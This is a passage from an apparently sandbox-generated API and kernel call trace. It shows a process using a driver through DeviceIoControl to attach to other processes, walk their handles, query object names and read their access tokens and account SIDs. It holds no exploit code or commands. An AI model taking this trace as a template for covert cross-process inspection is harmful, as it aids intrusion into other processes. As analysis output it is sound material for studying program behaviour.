Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.948] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.948] PsReleaseProcessExitSynchronization () returned 0x2 [0094.948] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0094.948] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.948] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.948] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.948] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.948] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9c0) returned 0xc0 [0094.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.948] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020974e0, HandleInformation=0x0) returned 0x0 [0094.948] ObOpenObjectByPointer (in: Object=0xfffffa80020974e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.948] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x12 [0094.948] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.949] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.949] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.949] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.949] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.950] CloseHandle (hObject=0xc8) returned 1 [0094.950] CloseHandle (hObject=0xc0) returned 1 [0094.950] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.950] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.950] PsAcquireProcessExitSynchronization () returned 0x0 [0094.950] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880052335d0) [0094.950] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002097e10, HandleInformation=0x0) returned 0x0 [0094.950] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.950] PsReleaseProcessExitSynchronization () returned 0x2 [0094.950] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0094.950] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.951] ObfDereferenceObject (Object=0xfffffa8002097e10) returned 0x1 [0094.951] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.951] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.951] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0094.951] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.951] PsAcquireProcessExitSynchronization () returned 0x0 [0094.951] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880052335d0) [0094.951] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002099260, HandleInformation=0x0) returned 0x0 [0094.951] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.951] PsReleaseProcessExitSynchronization () returned 0x2 [0094.951] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0094.951] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.951] ObfDereferenceObject (Object=0xfffffa8002099260) returned 0x1 [0094.951] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.951] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.951] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.951] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.951] PsAcquireProcessExitSynchronization () returned 0x0 [0094.951] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880052335d0) [0094.951] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.951] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.951] PsReleaseProcessExitSynchronization () returned 0x2 [0094.951] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0094.951] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233550) returned 0x0 [0094.951] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.951] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.951] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.951] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9d0) returned 0xc0 [0094.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.951] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa800205b100, HandleInformation=0x0) returned 0x0 [0094.951] ObOpenObjectByPointer (in: Object=0xfffffa800205b100, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.952] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x12 [0094.952] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.952] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.952] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.952] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.952] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.953] CloseHandle (hObject=0xc8) returned 1 [0094.953] CloseHandle (hObject=0xc0) returned 1 [0094.953] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.953] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.953] PsAcquireProcessExitSynchronization () returned 0x0 [0094.953] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880052335d0) [0094.953] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020ab970, HandleInformation=0x0) returned 0x0 [0094.953] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.953] PsReleaseProcessExitSynchronization () returned 0x2 [0094.953] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0094.954] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039997c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80039997c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.954] ObfDereferenceObject (Object=0xfffffa80020ab970) returned 0x1 [0094.954] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.954] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.954] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0094.954] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.954] PsAcquireProcessExitSynchronization () returned 0x0 [0094.954] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880052335d0) [0094.954] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8001a3ddd0, HandleInformation=0x0) returned 0x0 [0094.954] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.954] PsReleaseProcessExitSynchronization () returned 0x2 [0094.954] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0094.954] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800395d044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800395d044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.954] ObfDereferenceObject (Object=0xfffffa8001a3ddd0) returned 0x1 [0094.954] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.954] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.954] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.954] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.954] PsAcquireProcessExitSynchronization () returned 0x0 [0094.954] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880052335d0) [0094.954] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.954] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.954] PsReleaseProcessExitSynchronization () returned 0x2 [0094.954] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0094.954] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038dd7c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038dd7c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.954] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.954] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.954] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.954] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9e0) returned 0xc0 [0094.954] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.954] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa8002044060, HandleInformation=0x0) returned 0x0 [0094.955] ObOpenObjectByPointer (in: Object=0xfffffa8002044060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.955] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x12 [0094.955] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.955] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.955] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.955] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.955] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.956] CloseHandle (hObject=0xc8) returned 1 [0094.956] CloseHandle (hObject=0xc0) returned 1 [0094.956] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.956] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.956] PsAcquireProcessExitSynchronization () returned 0x0 [0094.956] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880052335d0) [0094.956] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800201e6a0, HandleInformation=0x0) returned 0x0 [0094.956] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.956] PsReleaseProcessExitSynchronization () returned 0x2 [0094.956] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0094.956] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005233508) returned 0x0 [0094.957] ObfDereferenceObject (Object=0xfffffa800201e6a0) returned 0x1 [0094.957] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.957] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.957] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0094.957] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.957] PsAcquireProcessExitSynchronization () returned 0x0 [0094.957] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880052335d0) [0094.957] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002091a90, HandleInformation=0x0) returned 0x0 [0094.957] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.957] PsReleaseProcessExitSynchronization () returned 0x2 [0094.957] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0094.957] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233508) returned 0x0 [0094.957] ObfDereferenceObject (Object=0xfffffa8002091a90) returned 0x1 [0094.957] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.957] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.957] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0094.957] PsLookupProcessByProcessId (in: ProcessId=0x9e0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.957] PsAcquireProcessExitSynchronization () returned 0x0 [0094.957] KeStackAttachProcess (in: PROCESS=0xfffffa8002044060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa8002044060, ApcState=0xfffff880052335d0) [0094.957] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0094.957] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.957] PsReleaseProcessExitSynchronization () returned 0x2 [0094.957] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x10 [0094.957] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038c97c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80038c97c4, ReturnLength=0xfffff88005233550) returned 0x0 [0094.957] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0094.957] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.957] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0094.957] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9f0) returned 0xc0 [0094.958] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0094.958] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80020cf460, HandleInformation=0x0) returned 0x0 [0094.958] ObOpenObjectByPointer (in: Object=0xfffffa80020cf460, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff80000bc0) returned 0x0 [0094.958] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x12 [0094.958] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000bc0, DesiredAccess=0x8, TokenHandle=0xfffffa80024fb240 | out: TokenHandle=0xfffffa80024fb240*=0xc8) returned 0x0 [0094.958] ZwClose (Handle=0xffffffff80000bc0) returned 0x0 [0094.958] IofCompleteRequest (Irp=0xfffffa80019a3880, PriorityBoost=0) [0094.958] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0094.958] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0094.959] CloseHandle (hObject=0xc8) returned 1 [0094.959] CloseHandle (hObject=0xc0) returned 1 [0094.959] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0094.959] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0094.959] PsLookupProcessByProcessId (in: ProcessId=0x9f0, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0094.959] PsAcquireProcessExitSynchronization () returned 0x0 [0094.959] KeStackAttachProcess (in: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80020cf460, ApcState=0xfffff880052335d0) [0094.959] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80020cfd90, HandleInformation=0x0) returned 0x0 [0094.959] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0094.959] PsReleaseProcessExitSynchronization () returned 0x2 [0094.959] ObfDereferenceObject (Object=0xfffffa80020cf460) returned 0x10 [0094.960] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233508) returned 0x0 [0094.960] ObfDereferenceObject 